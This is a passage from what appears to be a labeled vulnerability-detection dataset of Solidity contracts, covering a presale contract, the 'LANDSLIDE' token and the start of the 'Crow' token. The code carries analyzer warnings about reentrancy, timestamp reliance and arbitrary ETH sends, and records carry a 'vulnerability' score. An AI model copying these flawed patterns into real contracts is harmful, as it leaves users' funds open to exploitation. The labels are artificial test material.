wonkaPrice[poolInfo.presaleLevel]\n );\n\n\t\t\t// reentrancy-no-eth | ID: a45cb21\n funder.claimableAmount += curPrice + newPrice;\n\n\t\t\t// reentrancy-benign | ID: 44001a9\n contributedPerLevel[poolInfo.presaleLevel] += _amount.sub(\n remLvlAmnt\n );\n\n\t\t\t// reentrancy-benign | ID: 44001a9\n affiliate[code] += curPrice + newPrice;\n } else {\n\t\t\t// reentrancy-benign | ID: 44001a9\n contributedPerLevel[poolInfo.presaleLevel] += _amount;\n\n\t\t\t// reentrancy-benign | ID: 44001a9\n affiliate[code] += (_amount * wonkaPrice[poolInfo.presaleLevel]);\n\n\t\t\t// reentrancy-no-eth | ID: a45cb21\n funder.claimableAmount += (_amount *\n wonkaPrice[poolInfo.presaleLevel]);\n }\n\n funder.rewardDebt = funder\n .contributedAmount\n .mul(poolInfo.accWonkaPerShare)\n .div(PRECISION_FACTOR);\n\n if (totalContributed >= presaleConfig.hardcap)\n\t\t\t// reentrancy-no-eth | ID: a45cb21\n presaleStatus = PresaleStatus.Finished;\n\n emit Contribute(_msgSender(), _amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6c4f1d5): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 6c4f1d5: Avoid relying on 'block.timestamp'.\n function claim() external nonReentrant {\n require(\n presaleStatus == PresaleStatus.Finished,\n \"Presale is not finished\"\n );\n\n Funder storage funder = funders[_msgSender()];\n\n\t\t// timestamp | ID: 6c4f1d5\n require(\n funder.contributedAmount >= presaleConfig.minContribution &&\n funder.isClaimed == false,\n \"You are not a funder\"\n );\n\n updatePool();\n\n funder.isClaimed = true;\n\n uint256 pending = funder\n .contributedAmount\n .mul(poolInfo.accWonkaPerShare)\n .div(PRECISION_FACTOR)\n .sub(funder.rewardDebt);\n\n funder.rewardAmount += pending;\n\n _safeTransfer(\n IERC20(presaleConfig.presaleToken),\n _msgSender(),\n funder.claimableAmount + funder.rewardAmount\n );\n\n emit Claimed(\n _msgSender(),\n funder.claimableAmount + funder.rewardAmount\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0182a28): Presale.getMultiplier(uint256,uint256) uses timestamp for comparisons Dangerous comparisons block.timestamp >= bonusEndTime\n\t// Recommendation for 0182a28: Avoid relying on 'block.timestamp'.\n function getMultiplier(\n uint256 _from,\n uint256 _to\n ) public view returns (uint256) {\n\t\t// timestamp | ID: 0182a28\n if (block.timestamp >= bonusEndTime) {\n return bonusEndTime.sub(_from);\n } else {\n return _to.sub(_from);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: be737ec): Presale.pendingWonka(address) uses timestamp for comparisons Dangerous comparisons block.timestamp > poolInfo.lastRewardTime && totalContributed != 0 && poolInfo.lastRewardTime > 0\n\t// Recommendation for be737ec: Avoid relying on 'block.timestamp'.\n function pendingWonka(address _user) external view returns (uint256) {\n Funder storage user = funders[_user];\n\n uint256 accWonkaPerShare = poolInfo.accWonkaPerShare;\n\n if (\n\t\t\t// timestamp | ID: be737ec\n block.timestamp > poolInfo.lastRewardTime &&\n totalContributed != 0 &&\n poolInfo.lastRewardTime > 0\n ) {\n uint256 multiplier = getMultiplier(\n poolInfo.lastRewardTime,\n block.timestamp\n );\n\n uint256 wonkaReward = multiplier.mul(wonkaPerSecond);\n\n accWonkaPerShare = accWonkaPerShare.add(\n wonkaReward.mul(PRECISION_FACTOR).div(totalContributed)\n );\n }\n\n return\n user\n .contributedAmount\n .mul(accWonkaPerShare)\n .div(PRECISION_FACTOR)\n .sub(user.rewardDebt);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: fcab97d): Presale.updatePool() uses timestamp for comparisons Dangerous comparisons block.timestamp <= poolInfo.lastRewardTime || poolInfo.lastRewardTime == 0 block.timestamp >= bonusEndTime\n\t// Recommendation for fcab97d: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 123d2ae): Presale.updatePool() uses a dangerous strict equality block.timestamp <= poolInfo.lastRewardTime || poolInfo.lastRewardTime == 0\n\t// Recommendation for 123d2ae: Don't use strict equality to determine if an account has enough Ether or tokens.\n function updatePool() public {\n if (\n\t\t\t// timestamp | ID: fcab97d\n\t\t\t// incorrect-equality | ID: 123d2ae\n block.timestamp <= poolInfo.lastRewardTime ||\n poolInfo.lastRewardTime == 0\n ) return;\n\n uint256 multiplier = getMultiplier(\n poolInfo.lastRewardTime,\n block.timestamp\n );\n\n uint256 _reward = multiplier * wonkaPerSecond;\n\n poolInfo.accWonkaPerShare +=\n (_reward * PRECISION_FACTOR) /\n totalContributed;\n\n\t\t// timestamp | ID: fcab97d\n if (block.timestamp >= bonusEndTime) {\n poolInfo.lastRewardTime = bonusEndTime;\n } else {\n poolInfo.lastRewardTime = block.timestamp;\n }\n }\n\n function _safeTransfer(\n IERC20 _token,\n address _to,\n uint256 _amount\n ) internal {\n _token.safeTransfer(_to, _amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f47d6ef): Presale.setPresaleStatus(Presale.PresaleStatus)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for f47d6ef: Rename the local variables that shadow another component.\n function setPresaleStatus(PresaleStatus _status) public adminAuth {\n presaleStatus = _status;\n }\n\n function setPresaleToken(address _token) public onlyOwner {\n presaleConfig.presaleToken = _token;\n }\n\n function setSalePrices(uint256[] memory _price) public onlyOwner {\n for (uint256 i = 0; i < _price.length; i++) {\n wonkaPrice[i] = _price[i];\n }\n }\n\n function setSaleCaps(uint256[] memory _capPerLevel) public onlyOwner {\n for (uint256 i = 0; i < _capPerLevel.length; i++) {\n capPerLevel[i] = _capPerLevel[i];\n }\n }\n\n function setBonusDetails(\n uint256 _amnt,\n uint256 _startTime,\n uint256 _endTime\n ) public adminAuth {\n wonkaPerSecond = _amnt;\n\n poolInfo.lastRewardTime = _startTime;\n\n bonusEndTime = _endTime;\n }\n\n function setDetails(\n uint256 _start,\n uint256 _end,\n uint256 _hardcap,\n uint256 _minContribution\n ) public adminAuth {\n presaleConfig.startTime = _start;\n\n presaleConfig.endTime = _end;\n\n presaleConfig.hardcap = _hardcap;\n\n presaleConfig.minContribution = _minContribution;\n }\n\n function setPresaleLvl(uint _lvl) public adminAuth {\n poolInfo.presaleLevel = _lvl;\n }\n\n function adminClaim(\n IERC20 _token,\n address _to,\n uint256 _amount\n ) public onlyOwner {\n _token.safeTransfer(_to, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2332299): Presale.changeKeeper(address)._newAdmin lacks a zerocheck on \t keeper = _newAdmin\n\t// Recommendation for 2332299: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: de74ad4): Presale.changeKeeper(address) should emit an event for keeper = _newAdmin \n\t// Recommendation for de74ad4: Emit an event for critical parameter changes.\n function changeKeeper(address _newAdmin) external onlyOwner {\n\t\t// missing-zero-check | ID: 2332299\n\t\t// events-access | ID: de74ad4\n keeper = _newAdmin;\n }\n\n receive() external payable {\n (bool success, ) = owner().call{value: msg.value}(new bytes(0));\n\n require(success, \"ETH transfer failed\");\n }\n}\n",
"file_name": "solidity_code_10128.sol",
"size_bytes": 28581,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract LANDSLIDE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 47c476e): LANDSLIDE._taxWallet should be immutable \n\t// Recommendation for 47c476e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Landslide\";\n\n string private constant _symbol = unicode\"LANDSLIDE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 0cda297): LANDSLIDE._initialBuyTax should be constant \n\t// Recommendation for 0cda297: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0aa5553): LANDSLIDE._initialSellTax should be constant \n\t// Recommendation for 0aa5553: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d92e78c): LANDSLIDE._reduceBuyTaxAt should be constant \n\t// Recommendation for d92e78c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 76eb41e): LANDSLIDE._reduceSellTaxAt should be constant \n\t// Recommendation for 76eb41e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e64c6c): LANDSLIDE._preventSwapBefore should be constant \n\t// Recommendation for 8e64c6c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 269ac5d): LANDSLIDE._taxSwapThreshold should be constant \n\t// Recommendation for 269ac5d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 420690000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b37442): LANDSLIDE._maxTaxSwap should be constant \n\t// Recommendation for 2b37442: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 038f20a): LANDSLIDE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 038f20a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fa8f563): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fa8f563: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e812c65): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e812c65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fa8f563\n\t\t// reentrancy-benign | ID: e812c65\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fa8f563\n\t\t// reentrancy-benign | ID: e812c65\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 36cc876): LANDSLIDE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 36cc876: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e812c65\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fa8f563\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5e70b3a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5e70b3a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6819423): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6819423: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5e70b3a\n\t\t\t\t// reentrancy-eth | ID: 6819423\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5e70b3a\n\t\t\t\t\t// reentrancy-eth | ID: 6819423\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6819423\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6819423\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6819423\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5e70b3a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6819423\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6819423\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5e70b3a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fa8f563\n\t\t// reentrancy-events | ID: 5e70b3a\n\t\t// reentrancy-benign | ID: e812c65\n\t\t// reentrancy-eth | ID: 6819423\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7d59e29): LANDSLIDE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7d59e29: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fa8f563\n\t\t// reentrancy-events | ID: 5e70b3a\n\t\t// reentrancy-eth | ID: 6819423\n\t\t// arbitrary-send-eth | ID: 7d59e29\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e770e27): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e770e27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 659c36d): LANDSLIDE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 659c36d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 92b4c98): LANDSLIDE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 92b4c98: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7175f78): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7175f78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e770e27\n\t\t// reentrancy-eth | ID: 7175f78\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e770e27\n\t\t// unused-return | ID: 659c36d\n\t\t// reentrancy-eth | ID: 7175f78\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e770e27\n\t\t// unused-return | ID: 92b4c98\n\t\t// reentrancy-eth | ID: 7175f78\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e770e27\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7175f78\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10129.sol",
"size_bytes": 19229,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address private _owner;\n\n constructor() {\n _owner = msg.sender;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _owner = address(0);\n }\n}\n\nlibrary SafeERC20 {\n function safeTransfer(address token, address to, uint256 value) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(IERC20.transfer.selector, to, value)\n );\n\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"TransferHelper: INTERNAL TRANSFER_FAILED\"\n );\n }\n}\n\n// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 5bffe80): IERC20 has incorrect ERC20 function interfaceIERC20.transfer(address,uint256)\n// Recommendation for 5bffe80: Set the appropriate return values and types for the defined 'ERC20' functions.\ninterface IERC20 {\n function balanceOf(address account) external view returns (uint256);\n\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 5bffe80): IERC20 has incorrect ERC20 function interfaceIERC20.transfer(address,uint256)\n\t// Recommendation for 5bffe80: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transfer(address recipient, uint256 amount) external;\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract Crow is Ownable {\n string private constant _name = unicode\"Crow\";\n\n string private constant _symbol = unicode\"CROW\";\n\n uint256 private constant _totalSupply = 100_000_000 * 1e18;\n\n uint256 public maxTransactionAmount = 2_000_000 * 1e18;\n\n uint256 public maxWallet = 2_000_000 * 1e18;\n\n uint256 public swapTokensAtAmount = (_totalSupply * 2) / 10000;\n\n address private revWallet = 0xa1EC2f095DCaCC7d2A19EaeBc8196DEd01f49231;\n\n address private marketingWallet =\n 0xe0d7a9c0B85D2608f2251fc11386a4352a8BE880;\n\n address private teamWallet = 0xAdA879D10C999b8F719917289F900BefF243d13a;\n\n address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n uint8 public buyTotalFees = 5;\n\n uint8 public sellTotalFees = 5;\n\n uint8 public revFee = 25;\n\n uint8 public marketingFee = 50;\n\n uint8 public teamFee = 25;\n\n bool private swapping;\n\n bool public limitsInEffect = true;\n\n bool private launched;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 teamETH,\n uint256 revETH,\n uint256 MarketingETH\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n IUniswapV2Router02 public constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public immutable uniswapV2Pair;\n\n constructor() {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n automatedMarketMakerPairs[uniswapV2Pair] = true;\n\n address airdropWallet = 0xBC879213A0b39BCC4219A79851Bd84718F9369A4;\n\n setExcludedFromFees(owner(), true);\n\n setExcludedFromFees(address(this), true);\n\n setExcludedFromFees(address(0xdead), true);\n\n setExcludedFromFees(teamWallet, true);\n\n setExcludedFromFees(revWallet, true);\n\n setExcludedFromFees(marketingWallet, true);\n\n setExcludedFromMaxTransaction(owner(), true);\n\n setExcludedFromMaxTransaction(address(uniswapV2Router), true);\n\n setExcludedFromMaxTransaction(address(this), true);\n\n setExcludedFromMaxTransaction(address(0xdead), true);\n\n setExcludedFromMaxTransaction(address(uniswapV2Pair), true);\n\n setExcludedFromMaxTransaction(teamWallet, true);\n\n setExcludedFromMaxTransaction(revWallet, true);\n\n setExcludedFromMaxTransaction(marketingWallet, true);\n\n _balances[msg.sender] = 3_000_000 * 1e18;\n\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n\n _balances[marketingWallet] = 2_000_000 * 1e18;\n\n emit Transfer(address(0), marketingWallet, _balances[marketingWallet]);\n\n _balances[revWallet] = 15_000_000 * 1e18;\n\n emit Transfer(address(0), revWallet, _balances[revWallet]);\n\n _balances[airdropWallet] = 5_000_000 * 1e18;\n\n emit Transfer(address(0), airdropWallet, _balances[airdropWallet]);\n\n _balances[address(this)] = 75_000_000 * 1e18;\n\n emit Transfer(address(0), address(this), _balances[address(this)]);\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n }\n\n receive() external payable {}\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return 18;\n }\n\n function totalSupply() public pure returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4917404): Crow.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4917404: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d307710): Crow._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d307710: Rename the local variables that shadow another component.\n function _approve(address 